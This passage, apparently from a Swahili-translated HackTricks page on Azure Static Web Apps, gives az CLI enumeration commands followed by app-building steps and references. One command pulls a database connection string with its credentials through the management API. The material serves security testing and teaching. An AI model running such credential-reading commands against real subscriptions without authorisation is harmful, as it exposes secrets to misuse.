||||
|
||||
# Get invited users
|
||||
az staticwebapp users list --name <name>
|
||||
|
||||
# Get database connections
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections?api-version=2021-03-01"
|
||||
|
||||
## Once you have the database connection name ("default" by default) you can get the connection string with the credentials
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections/default/show?api-version=2021-03-01"
|
||||
```
|
||||
## Mifano ya Kutengeneza Programu za Mtandao
|
||||
|
||||
Unaweza kupata mfano mzuri wa kutengeneza programu ya mtandao katika kiungo kinachofuata: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
|
||||
|
||||
1. Fork hifadhi https://github.com/staticwebdev/react-basic/generate kwenye akaunti yako ya GitHub na uiite `my-first-static-web-app`
|
||||
2. Katika lango la Azure tengeneza Programu ya Mtandao ya Kawaida ukikamilisha ufikiaji wa Github na kuchagua hifadhi mpya iliyoforked hapo awali
|
||||
3. Iunda, na subiri dakika chache, na angalia ukurasa wako mpya!
|
||||
|
||||
## Baada ya Utekelezaji
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-static-web-apps-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Marejeleo
|
||||
|
||||
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user